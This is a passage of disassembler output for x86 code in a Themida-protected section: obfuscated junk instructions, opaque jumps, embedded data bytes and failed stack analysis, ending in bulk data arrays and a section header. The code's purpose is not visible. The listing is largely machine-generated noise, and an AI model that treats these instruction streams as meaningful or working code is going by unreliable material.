loc_60839B ; --------------------------------------------------------------------------- add [esi], edx icebp cmc cmpsd ror ecx, 2Eh xchg eax, edi loc_60839B: ; CODE XREF: sub_60835A+33j call sub_6083B3 sbb edx, 240BD605h mov ch, 74h or al, 5Ah rep mov bh, 61h in al, dx push ds jnp short near ptr loc_6083C8+5 in eax, dx sub_60835A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6083B3 proc near ; CODE XREF: sub_60835A:loc_60839Bp mov cx, dx pop esi jmp loc_6083C8 ; --------------------------------------------------------------------------- dd 0AE21C0FBh, 8CB45DAEh, 6BC2424h ; --------------------------------------------------------------------------- loc_6083C8: ; CODE XREF: sub_6083B3+4j ; sub_60835A+56j and ecx, 355B69B4h pusha jz loc_6083D8 add dl, 29h loc_6083D8: ; CODE XREF: sub_6083B3+1Cj mov dh, 93h popa pusha adc cl, 61h sbb dx, 58BDh popa or si, 4373h jmp loc_608403 ; --------------------------------------------------------------------------- db 0CDh dd 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h db 8Eh, 20h, 0BCh ; --------------------------------------------------------------------------- loc_608403: ; CODE XREF: sub_6083B3+37j call sub_608411 iret sub_6083B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E6h, 56h, 0A7h dd 9FAD22A8h db 0Ah ; =============== S U B R O U T I N E ======================================= sub_608411 proc near ; CODE XREF: sub_6083B3:loc_608403p pop edi movsx edi, cx jmp loc_60841F ; --------------------------------------------------------------------------- and eax, 14ECB710h loc_60841F: ; CODE XREF: sub_608411+4j xor ch, 0D4h movsx eax, di jbe loc_60842F mov dx, 0B880h loc_60842F: ; CODE XREF: sub_608411+14j mov si, 1314h jmp loc_608441 ; --------------------------------------------------------------------------- dd 34891F19h, 1A112A49h ; --------------------------------------------------------------------------- scasd loc_608441: ; CODE XREF: sub_608411+22j jge loc_608460 jmp loc_608460 ; --------------------------------------------------------------------------- dd 0C9F0B87Fh, 0BF15DF0Fh, 17C28017h, 72F442ADh, 78A99F22h ; --------------------------------------------------------------------------- loc_608460: ; CODE XREF: sub_608411:loc_608441j ; sub_608411+36j mov eax, ecx mov edi, 10A0426Eh add si, 7323h pusha push edi mov si, bx pop ecx sub bx, 2ADAh popa mov esi, 51973A91h jmp loc_608490 ; --------------------------------------------------------------------------- dw 6FF3h dd 1BBB4702h, 904F8C2Dh, 0F69FC960h ; --------------------------------------------------------------------------- loc_608490: ; CODE XREF: sub_608411+6Cj xor dl, 61h call loc_60849E xor al, 0D1h aaa cmpsb out 81h, eax ; DMA page register 74LS612: sub_608411 endp ; sp-analysis failed ; Channel 2 (diskette DMA) (address bits 16-23) loc_60849E: ; CODE XREF: sub_608411+82p jp loc_6084B5 jmp loc_6084B5 ; --------------------------------------------------------------------------- db 0BFh, 89h, 94h dd 98192714h, 0AEF0A7AEh db 8Fh ; --------------------------------------------------------------------------- loc_6084B5: ; CODE XREF: Themida_:loc_60849Ej ; Themida_:006084A4j pop esi mov esi, ecx xor dl, 0C3h mov cl, 94h movsx ecx, ax jmp loc_6084D1 ; --------------------------------------------------------------------------- db 39h, 0Dh, 26h dd 1BDAF7AFh, 63F59562h db 0F3h ; --------------------------------------------------------------------------- loc_6084D1: ; CODE XREF: Themida_:006084C0j cld mov ecx, edi push edx mov esi, 7E2AF099h pop edx mov dl, 5Fh mov bh, 0BFh mov ah, 0C5h jmp loc_6084FA ; --------------------------------------------------------------------------- dw 0C787h dd 0B7D9A354h, 64D857EFh, 40FD0478h, 4B5F6341h ; --------------------------------------------------------------------------- add al, 0A6h loc_6084FA: ; CODE XREF: Themida_:006084E1j and bh, 54h mov cl, 3Dh jmp loc_60850F ; --------------------------------------------------------------------------- dd 227F7D2h, 0C1164CFh ; --------------------------------------------------------------------------- rol eax, 0B7h loc_60850F: ; CODE XREF: Themida_:006084FFj push ecx jmp loc_60851B ; --------------------------------------------------------------------------- db 8Ah, 44h, 1Eh ; --------------------------------------------------------------------------- sbb esi, 4Dh loc_60851B: ; CODE XREF: Themida_:00608510j pop eax pusha mov esi, eax mov edx, 1E57774Bh popa mov ecx, 68354821h movsx edi, cx push edi call sub_608543 dec edx ; --------------------------------------------------------------------------- dd 9966E6DFh, 0C4B5F43Bh, 4EDD01ADh db 2Fh, 9Eh, 2Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_608543 proc near ; CODE XREF: Themida_:0060852Ep jmp sub_608550 sub_608543 endp ; --------------------------------------------------------------------------- dd 5B7F58F1h, 6F54737Eh ; =============== S U B R O U T I N E ======================================= sub_608550 proc near ; CODE XREF: sub_608543j pop esi pop ebx jmp loc_608560 ; --------------------------------------------------------------------------- pop ss scasd faddp st(1), st mov ds:0EEA3735Bh, al loc_608560: ; CODE XREF: sub_608550+2j pusha adc dx, 0CF22h mov ecx, 47F7B986h popa push edi mov bx, ax pop eax mov edi, 6F92F40Ch movsx edi, ax call near ptr loc_608584+4 inc ebp outsd inc esp insd sub dh, dh loc_608584: ; CODE XREF: sub_608550+29p mov ds:66F73543h, eax sub_608550 endp ; sp-analysis failed mov edx, 605EF8D8h xor cx, 0E2F2h mov cx, si popa and ax, 0F46Bh mov cl, 38h jge loc_6085A9 xor bx, 6EC1h loc_6085A9: ; CODE XREF: Themida_:0060859Ej jmp loc_6085C0 ; --------------------------------------------------------------------------- dw 4C51h dd 6E74DF28h, 0E5E77AACh, 33FF6967h, 56C488AEh ; --------------------------------------------------------------------------- loc_6085C0: ; CODE XREF: Themida_:loc_6085A9j movzx ecx, di mov eax, 70713734h pusha movsx ebx, di jns loc_6085D7 xor di, 4D6Dh loc_6085D7: ; CODE XREF: Themida_:006085CCj popa push edi cld pop ecx jmp loc_6085F3 ; --------------------------------------------------------------------------- dd 82908114h, 471E2020h, 0C54D0F87h, 357C31D9h ; --------------------------------------------------------------------------- or al, [ecx] pushf loc_6085F3: ; CODE XREF: Themida_:006085DBj jbe loc_6085FB mov dh, 0F4h loc_6085FB: ; CODE XREF: Themida_:loc_6085F3j jmp loc_60860B ; --------------------------------------------------------------------------- dd 0DA96EADEh, 7636BB74h db 0A3h, 0C3h, 6Ah ; --------------------------------------------------------------------------- loc_60860B: ; CODE XREF: Themida_:loc_6085FBj stc mov cx, 53B2h ; CODE XREF: sub_608643+24j stc stc push edx push ecx mov ecx, 56AB9908h pop eax ; START OF FUNCTION CHUNK FOR sub_60866A loc_60861A: ; CODE XREF: sub_60866A+1Bj pop edi and esi, 46A4FA0Bh cld pusha push edi jge $+6 pop eax cld popa call sub_608643 inc ebp shl byte ptr [ecx], 1 push ds push ss mov al, ds:54EFBE86h retf ; END OF FUNCTION CHUNK FOR sub_60866A ; --------------------------------------------------------------------------- db 0A8h, 0A6h, 2 db 98h, 91h, 0Ah ; =============== S U B R O U T I N E ======================================= sub_608643 proc near ; CODE XREF: sub_60866A-3Dp push ecx mov edi, esi pop ecx pop esi mov si, bx jge loc_608655 mov bx, 0ADFBh loc_608655: ; CODE XREF: sub_608643+8j mov edi, ecx cld mov eax, 70B3BB7Eh call near ptr sub_60866A mov dh, 0CDh mov bh, 83h inc ecx jl short near ptr loc_60860C+2 inc esi sub_608643 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60866A proc far ; CODE XREF: sub_608643+1Ap ; FUNCTION CHUNK AT 0060861A SIZE 00000023 BYTES and ch, 0 pop edi mov eax, 22F36976h ; CODE XREF: sub_60866A+1Dj mov cx, 107Dh pusha call near ptr loc_60868D+3 out 0E7h, al inc ecx js short near ptr loc_6086FB+2 in eax, dx loc_608683: ; CODE XREF: sub_60866A+20j db 36h pusha jg short loc_60861A jo short near ptr loc_60866E+3 dec ebp js short loc_608683 lodsd loc_60868D: ; CODE XREF: sub_60866A+Ep mov ds:0E18184CFh, al sub_60866A endp ; sp-analysis failed movsb sub al, 0EAh adc ebx, [esi-4Fh] stosb popa mov esi, ebx jo loc_6086A7 mov ebx, 567AE1BFh loc_6086A7: ; CODE XREF: Themida_:0060869Cj sub bh, 57h adc ecx, 45AA473Bh jz loc_6086B9 movzx edx, bx loc_6086B9: ; CODE XREF: Themida_:006086B0j mov dh, bh mov cx, ax mov bh, 0EEh stc sub bx, 0B429h jnz loc_6086DC call near ptr loc_6086D1+5 loc_6086D1: ; CODE XREF: Themida_:006086CCp sbb [ebp-45632DF3h], ch enter 0FFFFF378h, 14h pop ecx loc_6086DC: ; CODE XREF: Themida_:006086C6j mov di, dx jmp loc_6086F8 ; --------------------------------------------------------------------------- dd 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h, 5074B00h ; --------------------------------------------------------------------------- loc_6086F8: ; CODE XREF: Themida_:006086DFj mov eax, edi push edx loc_6086FB: ; CODE XREF: sub_60866A+16j mov ax, cx pop edx push edi call sub_608714 or ecx, gs:0DC408270h xchg eax, ecx out 70h, al ; CMOS Memory: ; used by real-time clock and eax, 2BCC080h ; =============== S U B R O U T I N E ======================================= sub_608714 proc near ; CODE XREF: Themida_:00608700p jno $+6 pop edx pop edx push ebx mov ah, bl pop eax mov cx, dx mov ecx, esi and eax, 52FB3E65h push ecx cmc pop edi call near ptr loc_60873C+2 rep mov ds:7FE2ECA5h, al in eax, 4Fh push ebx loc_60873C: ; CODE XREF: sub_608714+1Ap imul esp, [ecx+edi*4+60h], 41h sub_608714 endp ; sp-analysis failed jo short near ptr loc_6087B6+4 pop esi jbe loc_60875A ; CODE XREF: sub_608777+3Dj call near ptr loc_608753+3 inc esi popa popf cmc loc_608753: ; CODE XREF: Themida_:0060874Ap fld tbyte ptr ds:17F5804Ch pop ecx loc_60875A: ; CODE XREF: Themida_:00608744j jle loc_608778 ja loc_608778 call sub_608777 cmc fstp qword ptr [edx-6DE1FAAEh] test al, 67h repne jb short loc_6087D7 ; =============== S U B R O U T I N E ======================================= sub_608777 proc near ; CODE XREF: Themida_:00608766p pop edi loc_608778: ; CODE XREF: Themida_:loc_60875Aj ; Themida_:00608760j sub ecx, 34C8D8DCh jz loc_608793 jmp loc_608793 ; --------------------------------------------------------------------------- db 0E5h, 6Dh, 3Fh dd 0A6E2BDA1h db 64h, 7Eh, 46h ; --------------------------------------------------------------------------- loc_608793: ; CODE XREF: sub_608777+7j ; sub_608777+Dj jmp loc_6087A2 ; --------------------------------------------------------------------------- dd 8B9A8C42h, 0EE6F0FD9h db 2Bh, 48h ; --------------------------------------------------------------------------- loc_6087A2: ; CODE XREF: sub_608777:loc_608793j movsx edi, di movzx edi, cx call near ptr loc_6087BB+3 imul eax, [esi+5Eh], 5C6AC584h jno short near ptr loc_608744+3 loc_6087B6: ; CODE XREF: Themida_:00608741j mov eax, ds:5FF5395Fh loc_6087BB: ; CODE XREF: sub_608777+31p sub eax, 87B7CA08h sub_608777 endp ; sp-analysis failed pop edi movzx edx, cx mov cx, 8766h mov cx, 0FCD3h cld mov dl, 0D2h jmp near ptr loc_6087E0+1 ; --------------------------------------------------------------------------- db 24h, 30h, 0C8h ; --------------------------------------------------------------------------- loc_6087D7: ; CODE XREF: Themida_:00608774j inc ecx fistp dword ptr [ecx-558371Ah] aas xchg eax, esp loc_6087E0: ; CODE XREF: Themida_:006087CFj xor ah, [eax-18h] adc eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 66h dd 3D4B26A1h, 0B39A6442h, 0F7A934A9h, 7CB6D0A4h, 7E92F50h dd 0CE000000h, 4A71A765h, 0FC5E09DDh, 66D18A61h, 0B553C78Bh dd 44B658C3h, 0E860CE8Ah, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah dd 0E998EA40h, 0AE814h, 0D2EC0000h, 0A6FE6645h, 5603BD08h dd 0EE95B5Fh, 0E9000000h, 0E00EAD2Bh, 28362576h, 0E5F9E599h dd 66606119h, 0E92480BBh, 11h, 610B39ADh, 0BB8444E8h, 4D01BD26h dd 15F54F97h, 10E9611Dh, 1C000000h, 13F0DC8h, 0D128A7Fh dd 0B7547B11h, 81CA5300h, 5A23B8D7h, 41D2813Fh, 0E93027ABh dd 0Eh, 0FCF7712Ah, 0EB421A72h, 8FEF3FBBh, 890FA852h, 0Dh dd 8F0F60h, 0B9000000h, 5DC753ACh, 0C68B6661h, 12E9DA8Bh dd 48000000h, 331D16C5h, 5BFDE144h, 8433DD64h, 89802478h dd 2ABEF587h, 0BB37E009h, 1C04105Eh, 0EE9h, 3CA71A00h dd 0B6DF9A48h, 2B610CB1h, 0E950B265h, 11h, 71F94985h, 185C8364h dd 19DDDA69h, 2DCBF7D6h, 0EE9FCh, 399B0000h, 0DCFD68B9h dd 1B7C2F3Ch, 8CB136FCh, 4D6D8BBBh, 73DA8007h, 15810Fh dd 9E80000h, 62000000h, 9DA7DB8h, 6DBF86Fh, 0C66EF181h dd 0E9584A0Ah, 12h, 45172A9Fh, 0B02CED69h, 0EC9401D2h dd 4CC4CEE3h, 0FE9A72Dh, 9A000000h, 1A8DC29h, 1A03E192h dd 554051C9h, 0BA6628A3h, 8B661DD5h, 8BFB8BD9h, 0AE9FEh dd 67D50000h, 7A2DB159h, 2CA9FBBEh, 0F966E980h, 0F9B7BB66h dd 1870BF66h, 10E9h, 0DFF24200h, 0B47B31DEh, 2B305DD2h dd 8540211Ah, 2803B875h, 0BA6601CAh, 890FDFCFh, 8, 28E0Fh dd 61600000h, 0DE995B5h, 0EB000000h, 88D5BCA9h, 15606CD5h dd 0F512825Ah, 20C88166h, 6660522Ah, 0D981D08Bh, 280E4E9Fh dd 931D5861h, 25Fh dup(931C0B33h), 0E002ACC1h, 2AEh dup(0E002ACC0h) dd 9947ACC0h, 1A1h dup(99478F77h), 0B478F77h, 1E3h dup(0B41D791h) dd 0CE41D791h, 10Fh dup(0CE48860Eh), 42h dup(0B8109D80h) dd 44F33780h, 1C8h dup(44F33706h), 850h dup(0CCCCCCCCh) dd 0CCCCh, 14D0h dup(0) dword_612D20 dd 8B8h dup(0) Themida_ ends ; Section 5. (virtual address 00215000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00215000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 615000h align 2000h _idata2 ends end start